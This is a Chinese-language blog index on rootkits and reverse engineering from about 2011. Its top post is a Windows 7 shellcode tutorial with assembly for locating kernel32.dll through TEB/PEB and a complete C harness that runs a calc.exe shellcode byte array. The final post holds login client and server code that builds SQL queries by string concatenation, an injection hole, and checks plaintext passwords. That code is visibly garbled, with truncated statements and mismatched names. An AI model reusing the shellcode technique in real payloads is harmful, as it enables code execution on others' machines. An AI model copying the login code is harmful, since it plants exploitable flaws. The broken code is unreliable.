PIXNET Logo登入

Rootkit --逆向工程技術--

跳到主文

Rootkit與逆向工程技術研討 歡迎指教:P

部落格全站分類:數位生活

  • 相簿
  • 部落格
  • 留言
  • 名片
  • 10月 20 週四 201110:28
  • [分享]Win 7下定位kernel32.dll基址及shellcode編寫


      為了使shellcode在多種作業系統平臺下都可以正常運行,就不得不動態的定位kernel32.dll的基底位址。而被廣泛使用的一種方法是通過TEB/PEB結構獲取kernel32.dll基底位址,我個人第一次接觸是通過綠盟月刊的一篇文章“通過TEB/PEB枚舉當前進程空間中使用者模組清單”方才知道這種被眾多程式設計人員使用的方法。至於這個方法的最原始出處該文作者也未提及。只得知29A雜誌也有大量使用該技術。這種方法適用於除Win7以外的所有windows作業系統包括95/98/ME/NT/2K/XP,大小只有34 bytes,下面是其原理及實現代碼;
      更詳細的知識大家可以參考snowdbg大牛的文章Windows下的shellcode剖析淺談http://bbs.pediy.com/showthread.php?t=99007
      利用PEB結構來查找kernel32.dll的原理:FS段寄存器作為選擇子指向當前的TEB結構,在TEB偏移0x30處是PEB指標。而在PEB偏移的0x0c處是指向PEB_LDR_DATA結構的指標,位於PEB_LDR_DATA結構偏移0x1c處,是一個叫InInitialzationOrderModuleList的成員,他是指向LDR_MODULE鏈表結構中,相應的雙向鏈表頭部的指標,該鏈表載入的DLL的順序是ntdll.dll,kernel32.dl,因此該成員所指的鏈表偏移0x08處為kernel32.dll地址。
更詳細的知識大家可以參考snowdbg大牛的文章Windows下的shellcode剖析淺談http://bbs.pediy.com/showthread.php?t=99007
獲取KERNEL32.DLL基址彙編實現代碼:
;find kernel32.dll
find_kernel32:
    push esi
    xor eax, eax
    mov eax, [fs:eax+0x30]
    test eax, eax
    js find_kernel32_9x        ;win9x or nt
find_kernel32_nt:
    mov eax, [eax + 0x0c]
    mov esi, [eax + 0x1c]
    lodsd
    mov eax, [eax + 0x8]
    jmp find_kernel32_finished
find_kernel32_9x:
    mov eax, [eax + 0x34]
    lea eax, [eax + 0x7c]
    mov eax, [eax + 0x3c]
find_kernel32_finished:
    pop esi
    ret
但非常可惜的是這種方法在Win7下是不適用的,所以很高興現在給大家分享國外網站上看到的一種新的方法來定位kernel32.dl的基底位址,該方法可以在所有windows版本上適用!這種方法通過在InInitializationOrderModuleList中查找kernel32.dll模組名稱的長度來定位它的基底位址,因為"kernel32.dll"的最後一個字元為"\0"結束符。所以倘若模組最後一個位元組為"\0"即可定位kernel32.dll的地址;
具體代碼實現方法:
;find kernel32.dll
find_kernel32:
    push esi
    xor ecx, ecx
    mov esi, [fs:ecx+0x30]
    mov esi, [esi + 0x0c]
    mov esi, [esi + 0x1c]
next_module:
    mov eax, [esi + 0x8]
    mov edi,[esi+0x20]
    mov esi ,[esi]
    cmp [edi+12*2],cx
    jne next_module
    pop esi
    Ret
      通過我的測試,這種利用該方法編寫的shellcode可以在32位平臺Windows 5.0-7.0的所有版本上適用,下面是經我測試在win 7下實現執行calc.exe的shellcode,shellcode本身寫的很粗糙只為驗證該方法的可用性!
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main()
{
  unsigned char shellcode[219] = {
  0xE9, 0x96, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B, 
  0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x66, 0x39, 0x4F, 0x18, 0x75, 0xF2, 
  0x5E, 0xC3, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA, 
  0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3, 0x37, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE, 
  0x31, 0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x0A, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE9, 
  0xF1, 0xFF, 0xFF, 0xFF, 0x3B, 0x7C, 0x24, 0x28, 0x75, 0xDE, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66, 
  0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x01, 0xEB, 0x8B, 0x04, 0x8B, 0x01, 0xE8, 0x89, 0x44, 0x24, 
  0x1C, 0x61, 0xC3, 0xAD, 0x50, 0x52, 0xE8, 0xA7, 0xFF, 0xFF, 0xFF, 0x89, 0x07, 0x81, 0xC4, 0x08, 
  0x00, 0x00, 0x00, 0x81, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x39, 0xCE, 0x75, 0xE6, 0xC3, 0xE8, 0x19, 
  0x00, 0x00, 0x00, 0x98, 0xFE, 0x8A, 0x0E, 0x7E, 0xD8, 0xE2, 0x73, 0x81, 0xEC, 0x08, 0x00, 0x00, 
  0x00, 0x89, 0xE5, 0xE8, 0x5D, 0xFF, 0xFF, 0xFF, 0x89, 0xC2, 0xEB, 0xE2, 0x5E, 0x8D, 0x7D, 0x04, 
  0x89, 0xF1, 0x81, 0xC1, 0x08, 0x00, 0x00, 0x00, 0xE8, 0xB6, 0xFF, 0xFF, 0xFF, 0xEB, 0x0E, 0x5B, 
  0x31, 0xC0, 0x50, 0x53, 0xFF, 0x55, 0x04, 0x31, 0xC0, 0x50, 0xFF, 0x55, 0x08, 0xE8, 0xED, 0xFF, 
  0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
};
printf("size of shellcode: %d\n", strlen(shellcode));
system("pause");
((void (*)())shellcode)();
return 0;
}
感謝所有朋友回復和意見以及riusksk的驗證,漏洞方面我是新手,還需不斷學習,我深信技術的提升總是通過一次一次的更新的認知!發現自己的不足,不斷進步!這才是我一直關注看雪的原因!
參考連結:
http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/
http://code.google.com/p/w32-exec-calc-shellcode/
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(0) 人氣(966)

  • 個人分類:應用層_資安研究
▲top
  • 9月 13 週二 201100:16
  • [動畫教學] 程式碼快速簡轉繁


今天來做個 "程式碼快速簡轉繁"的動畫

雖然是個小技巧,但卻十分好用

進入正題.....

從對岸抓下來的程式碼  都是亂碼

首先呢

1.先把語系修改成Taiwan 然後存檔


2.利用馴碼快手中文化資源 & 程式碼(可以用自己熟悉的中文化工具)

3.翻譯大陸用語

4.Done  OK  這樣就快速轉換完畢囉

By Kost0911  2011.9.12  下次見囉~BYE
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(0) 人氣(439)

  • 個人分類:應用層_資安研究
▲top
  • 8月 15 週一 201122:27
  • [原創]一個彈出網站的工具分析


慣例的PEiD查下殼,VC6 無殼  成功的第一步
 
首先用OD打開F9執行,我X~程式雖然執行了,但OD卻關閉了
 
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(3) 人氣(257)

  • 個人分類:應用層_資安研究
▲top
  • 7月 05 週二 201120:13
  • [原創].NET的逆向之旅-某Blog軟體分析

.NET Creak
前言:
今天遇到個.NET的程式,以前一直都沒碰到過,今天遇上了就來對他做個分析吧!
PEiD查一下
   
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(2) 人氣(804)

  • 個人分類:應用層_資安研究
▲top
  • 7月 01 週五 201109:05
  • [原創]SkinMagic的分析 - 16進制編輯器的妙用

SkinMagic1
前言:之前用了個能自動美化VB的Skin,用的挺爽
但今天突然想美化VC,卻臨時找不到Skin來用
G狗了一下,找到了個SkinMagic v2.4的美化Skin
這是官網效果:
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(0) 人氣(407)

  • 個人分類:應用層_資安研究
▲top
  • 6月 23 週四 201114:05
  • [分享]淺談脫殼中的Dump技術

前言:
    “知者不言,言者不知” 
                                     ----老子 《道德經》
   你會dump嗎?
   你還是只在OEP處dump嗎?
   你知道dump的原理嗎?
   你遇到過anti-dump的殼嗎,你知道如何對付它嗎?
   你明白幾種dump工具的優劣嗎?
   請原諒我,一開始就這麼不識趣的拋出了這幾個無厘頭的問題。我記得龍應台說過:正因為我那時什麼都不懂,
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(1) 人氣(274)

  • 個人分類:應用層_資安研究
▲top
  • 6月 06 週一 201122:53
  • [分享]探索PE檔案內幕-Win32可執行檔案格式之旅


一本關於PE檔案格式非常好的原文著作
我翻譯成繁中化供大家學習囉
 
下載地址:點我
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(1) 人氣(441)

  • 個人分類:應用層_資安研究
▲top
  • 5月 30 週一 201111:47
  • NetBoxDex v0.1 (NetBox 解壓縮工具源碼)




NetBox 
是一個全新概念的開發平臺,它提供了業界最快速的用於開發 Internet 商業應用的開發和編譯工具。NetBox 支援包括 JavaScript、VBScript、Perl 等目前應用最為廣泛的指令碼語言來構建功能強大和性能穩定的應用伺服器、網路服務器以及 HTML-Based 網路多媒體桌面應用。NetBox 支援目前最為流行的 XML 和 Web Service 工業標準和 ASP、COM、.NET 等流行標準,NetBox 對協力廠商資料庫的完美支援使您新構建的商務應用可以容易的將已有的應用系統整合進來,從而充分利用現有的 IT 資源,大大的節約投資。NetBox 提供的 SSL、TLS 安全協定、RSA、DES 等加密演算法和獨立於應用程式的虛擬機器技術使您的資料得到最大限度的保護。NetBox 提供將應用部署到無線設備的能力。NetBox 提供將您的應用編譯成獨立可執行檔的能力,極大的加快運行速度和代碼安全性。使用 NetBox 開發,大大提高了應用系統的可擴展性、穩定性和安全性。NetBox 的出現也首次讓應用軟體發展商能夠如此快速和容易的構建完整的基於 Internet 強大應用。
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(0) 人氣(189)

  • 個人分類:應用層_資安研究
▲top
  • 5月 29 週日 201121:46
  • 淺談共享軟體如何不被暴力蹂躪

共享軟體是目前世界上軟體業比較熱門的話題,國內更是如此。成千上萬的程式師以極大的熱情投入到這個領域來,都憧憬著用辛勤的勞動獲得豐厚 的回報;但,實際並非如此,絕大多數的人都鎩羽而歸。值得注意的是:除了軟體設計和技術上的原因外,最大的原因就是共享軟體被破解(Crack)了……
  面對破解
一個做共享軟體的作者,面對的是已經形成團夥的眾多破解高手,國內的什麼CCG、BCG,國外的eGis、King、Core、TNT、DAMN和TMG,皆為水準一流的破解組織。全球盜版軟體不少於80%都是由他們的破解的,技術實力連大軟體公司都不可小視。
看到這裡,你是否已經灰心了?別怕,雖然目前我們理論上無法完全避免被破解,但如果能夠有效地拖延被破解的時間,並充分打擊破解者的自信心,是可以讓破解者無法忍受這種折磨從而最終放棄的。
破解,通常的做法有兩種——暴力破解(爆破)和寫註冊機。筆者就自己積累的經驗來依次講解每種破解方法的原理和應對方法,某些關鍵的常式講解
(Delphi代碼),使用C++和VB的朋友可以自己稍微修改一下。希望這能對一些新手有些幫助,能夠更有效地保護自己的勞動成果。
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(0) 人氣(2,168)

  • 個人分類:應用層_資安研究
▲top
  • 5月 26 週四 201113:47
  • 網路使用者密碼登入 驗證過程

通常網路密碼驗證過程是這樣的:用戶端在獲取使用者輸入的用戶名和密碼資訊之後創建socket通訊端與遠端伺服器建立一個連接,發送用戶名和密碼並等待伺服器返回消息,伺服器收到用戶名和密碼之後查詢伺服器資料庫,如果用戶名密碼正確返回給用戶端一個登錄成功消息,否則返回一個密碼錯誤的消息! 
 
下面是用VC++實現驗證過程中的部分代碼,代碼有點亂: 
//獲取使用者輸入資訊 
void CClientDlg::OnOK() 
{ 
//之前socket已經經過初始化 
UpdateData(); 
if(m_username.IsEmpty()||m_userID.IsEmpty()) 
  MessageBox("請輸入所有資訊!","用戶登錄",MB_OK); 
else 
{ 
  if(Load()) //調用驗證函數 
  { 
//   close(destSocket); 
   closesocket(destSocket); 
   CDialog::OnOK(); 
   MessageBox("登陸成功!","用戶登錄",MB_OK);//驗證成功 
   CChat chat; 
   chat.m_username=m_username; 
//   chat.res=res; 
   chat.DoModal(); 
  } 
  else 
  {      //驗證失敗 
   MessageBox("尚未註冊或\n用戶名/密碼有誤。","用戶登錄",MB_OK); 
  } 
} 
} 
BOOL CClientDlg::Load() //發送"Load:" 
{ 
////////////////////////發送登陸資訊並接收回饋資訊///////////////////////////// 
char sendText[100],recvText[5025]; 
int numsnt,numrcv,status; 
sprintf(sendText,"Load:%s,%s",m_username,m_userID); 
numsnt=send(destSocket, sendText, strlen(sendText) + 1, NO_FLAGS_SET); 
if (numsnt != (int)strlen(sendText) + 1) 
    { 
  MessageBox("ERROR: Connection terminated!","用戶登錄",MB_OK); 
  status=closesocket(destSocket); 
  if (status == SOCKET_ERROR) 
   MessageBox("ERROR: closesocket unsuccessful!","用戶登錄",MB_OK); 
     status=WSACleanup(); 
  if (status == SOCKET_ERROR) 
   MessageBox("ERROR: WSACleanup unsuccessful!","用戶登錄",MB_OK); 
  return false; 
    } 
numrcv=recv(destSocket, recvText, 5025, NO_FLAGS_SET); 
if ((numrcv == 0) || (numrcv == SOCKET_ERROR)) 
    { 
      MessageBox("ERROR: Connection terminated!","用戶登錄",MB_OK); 
      status=closesocket(destSocket); 
      if (status == SOCKET_ERROR) 
    MessageBox("ERROR: closesocket unsuccessful!","用戶登錄",MB_OK); 
      status=WSACleanup(); 
      if (status == SOCKET_ERROR) 
    MessageBox("ERROR: WSACleanup unsuccessful!","用戶登錄",MB_OK); 
      return false; 
    } 
recvText[numrcv]='\0'; 
////////////////////////////////////////////////////////////////////////////// 
/////////////////////讀取返回標誌和使用者資訊/////////////////////////////////// 
char Flag[10]; 
char *pos=strchr(recvText,'!'); 
pos+=1; 
int len_text=strlen(recvText); 
int len_pos=strlen(pos); 
int len=len_text-len_pos; 
for(int i=0;i<len;i++) 
  Flag[i]=recvText[i]; 
Flag[len]='\0'; 
if(strcmp(Flag,"success!")!=0) 
  return false; 
/////////////////////////////////////////////////////////////////////////////// 
///////////////////////將使用者資訊寫入與用戶名對應的檔//////////////////////// 
else 
{ 
  CString filename; 
  filename.Format(".\\data\\%s.db",m_username); 
  FILE *file; 
  if((file=fopen(filename,"w"))!=NULL) 
  { 
   fprintf(file,"%s",pos); 
  } 
  fclose(file); 
} 
/////////////////////////////////////////////////////////////////////////////// 
return true; 
} 
//附網路初始化代碼 
BOOL CClientDlg::Init_net() 
{ 
/////////////////////////網路初始化/////////////////////////////////// 
status=WSAStartup(MAKEWORD(1, 1), &Data); 
if (status != 0) 
  MessageBox("ERROR: WSAStartup unsuccessful!","用戶登錄",MB_OK); 
destAddr=inet_addr(DEST_IP_ADDR);  //暫時定為本機使用 
memcpy(&destSockAddr.sin_addr, &destAddr,sizeof(destAddr)); 
destSockAddr.sin_port=htons(606); 
destSockAddr.sin_family=AF_INET; 
destSocket=socket(AF_INET, SOCK_STREAM, 0); 
if (destSocket == INVALID_SOCKET) 
{ 
  MessageBox("ERROR: socket unsuccessful!","用戶登錄",MB_OK); 
  status=WSACleanup(); 
  if (status == SOCKET_ERROR) 
   MessageBox("ERROR: WSACleanup unsuccessful!","用戶登錄",MB_OK); 
  return false; 
} 
////////////////////////////////////////////////////////////////////// 
///////////////////////////連接網路//////////////////////////////////////////// 
status=connect(destSocket, (LPSOCKADDR) &destSockAddr,sizeof(destSockAddr)); 
if (status == SOCKET_ERROR) 
{ 
  MessageBox("ERROR: connect unsuccessful!","用戶登錄",MB_OK); 
  status=closesocket(destSocket); 
  if (status == SOCKET_ERROR) 
   MessageBox("ERROR: closesocket unsuccessful!","用戶登錄",MB_OK); 
  status=WSACleanup(); 
  if (status == SOCKET_ERROR) 
   MessageBox("ERROR: WSACleanup unsuccessful!","用戶登錄",MB_OK); 
  return false; 
} 
/////////////////////////////////////////////////////////////////////////////// 
return true; 
} 
//////////////////////////////////服務端代碼///////////////////////////////// 
//建立一個基於消息的非同步通訊端 
BOOL CSkyQQsrvDlg::InitSocket() 
{ 
m_socket=WSASocket(AF_INET,SOCK_DGRAM,0,NULL,0,0); //WSASocket創建通訊端 
if(INVALID_SOCKET==m_socket) 
{ 
  MessageBox("創建通訊端失敗!"); 
  return FALSE; 
} 
SOCKADDR_IN addrSock; 
addrSock.sin_addr.S_un.S_addr=htonl(INADDR_ANY); 
addrSock.sin_family=AF_INET; 
addrSock.sin_port=htons(606);//設置606為監聽埠 
if(SOCKET_ERROR==bind(m_socket,(SOCKADDR*)&addrSock,sizeof(SOCKADDR))) 
{ 
  MessageBox("綁定失敗!"); 
  return FALSE; 
} 
if(SOCKET_ERROR==WSAAsyncSelect(m_socket,m_hWnd,UM_SOCK,FD_READ))//請求一個基於消息的網路事件通知非同步通訊端 
{ 
  MessageBox("註冊網路讀取事件失敗!"); 
  return FALSE; 
} 
return TRUE; 
} 
//建立消息映射,在SkyQQsrvDlg.h中添加 
#define UM_SOCK  WM_USER+1 //定義消息 
//消息映射 
BEGIN_MESSAGE_MAP(CSkyQQsrvDlg, CDialog) 
//{{AFX_MSG_MAP(CSkyQQsrvDlg) 
// ON_WM_SYSCOMMAND() 
// ON_WM_PAINT() 
// ON_WM_QUERYDRAGICON() 
ON_MESSAGE(UM_SOCK,OnSock) 
// ON_BN_CLICKED(IDC_BTN_SEND, OnBtnSend) 
//}}AFX_MSG_MAP 
END_MESSAGE_MAP() 
BOOL bchar=FALSE;//密碼檢測結果 
SOCKET m_socket; 
void CSkyQQsrvDlg::OnSock(WPARAM wParam,LPARAM lParam) 
{ 
switch(LOWORD(lParam)) 
{ 
case FD_READ:  //讀取事件 
  WSABUF wsabuf; 
  wsabuf.buf=new char[200]; 
  wsabuf.len=200; 
  DWORD dwRead; 
  DWORD dwFlag=0; 
  SOCKADDR_IN addrFrom; 
  int len=sizeof(SOCKADDR); 
  CString str; 
  CString strTemp; 
  HOSTENT *pHost; 
  if(SOCKET_ERROR==WSARecvFrom   (m_socket,&wsabuf,1,&dwRead,&dwFlag,//WSARecvFrom接受資料函數 
      (SOCKADDR*)&addrFrom,&len,NULL,NULL)) 
  { 
   MessageBox("接收資料失敗!"); 
   return; 
  } 
  pHost=gethostbyaddr((char*)&addrFrom.sin_addr.S_un.S_addr,4,AF_INET); 
  addrFromIP.sin_addr.S_un.S_addr=addrFrom.sin_addr.S_un.S_addr; 
  char(wsabuf.buf);//調用密碼檢測函數 
CString strSend; 
if(bchar) 
{//發送驗證成功的消息 
  strsend="success"; 
} 
else    strsend="FALSE"; 
SOCKADDR_IN addrTo; 
addrTo.sin_family=AF_INET; 
addrTo.sin_addr.S_un.S_addr=addrFromIP.sin_addr.S_un.S_addr; 
addrTo.sin_port=Port;//將獲取的資料埠設置為發送資料埠 
len=strSend.GetLength();    //長度 
wsabuf.buf=strSend.GetBuffer(len); 
wsabuf.len=len+1; 
if(SOCKET_ERROR==WSASendTo(m_socket,&wsabuf,1,&dwSend,0, //WSASend發送資料 
   (SOCKADDR*)&addrTo,sizeof(SOCKADDR),NULL,NULL)) 
{ 
  MessageBox("發送資料失敗!"); 
  return; 
} 
} 
} 
void char(char * wsabuf) 
{ 
_ConnectionPtr m_pConnection; 
_RecordsetPtr m_pRecordset 
CString admin,passwd; 
huanyuan(wsabuf,admin,passwd); 
//假設伺服器上已經有一個ACCESS資料庫檔,檔案名為skywd,並建有user(admin,password)表 
//初始話OLE/COM庫環境 
::CoInitialize(NULL); 
try 
{ 
_ConnectionPtr pConn(__uuidof(Connection)); 
pConn->C; 
pConn->Open("","","",adConnectUnspecified); //打開對資料庫的連接,使用者ID和密碼,同步打開這個連接 
m_pC; 
} 
//捕捉異常 
catch(_com_error e) 
{   //顯示錯誤資訊 
//  AfxMessageBox(e.Description()); 
  AfxMessageBox("資料庫連接出錯"); 
} 
//設置INSERT語句,查詢資料 
_bstr_t vSQL; 
vSQL = "SELECT * FROM user WHERE admin = '" +admin + "'" ; //變數直接加,字串用""括起來 
try 
{ 
m_pRecordset.CreateInstance(__uuidof(Recordset)); 
m_pRecordset->Open(vSQL,m_pConnection.GetInterfacePtr(), //直接用記錄集物件查詢 
adOpenDynamic,adLockOptimistic,adCmdText); 
} 
catch(_com_error e) 
{ 
  AfxMessageBox(e.Description()); 
} 
_variant_t  var = m_pRecordset->GetCollect("password"); 
  if(var.vt!=VT_NULL) 
  { 
   if(passwd==(LPCTSTR)_bstr_t(var)) 
   bchar=TRUE;//通過驗證 
  } 
  else 
  { //如果答案為空,則重建答案 
   bchar=FALSE; 
  } 
//斷開資料庫連接 
if(m_pRecordset!=NULL) 
m_pRecordset->Close(); 
m_pConnection->Close(); 
} 
zhuanhuan(char * wsabuf,CString admin,CString passwd)
{
    CString str1=wsabuf;
    int n1=str1.Find(":");
    int n2=str1.Find(",");
    int n3=str1.Getlength()-1;
    admin=str1.Left(n2);
    admin=admin.Right(n2-n1-1);
    passwd=str1.Right(n3-n2-1);
}
(繼續閱讀...)
文章標籤

殘月影 發表在 痞客邦 留言(1) 人氣(334)

  • 個人分類:應用層_資安研究
▲top
12»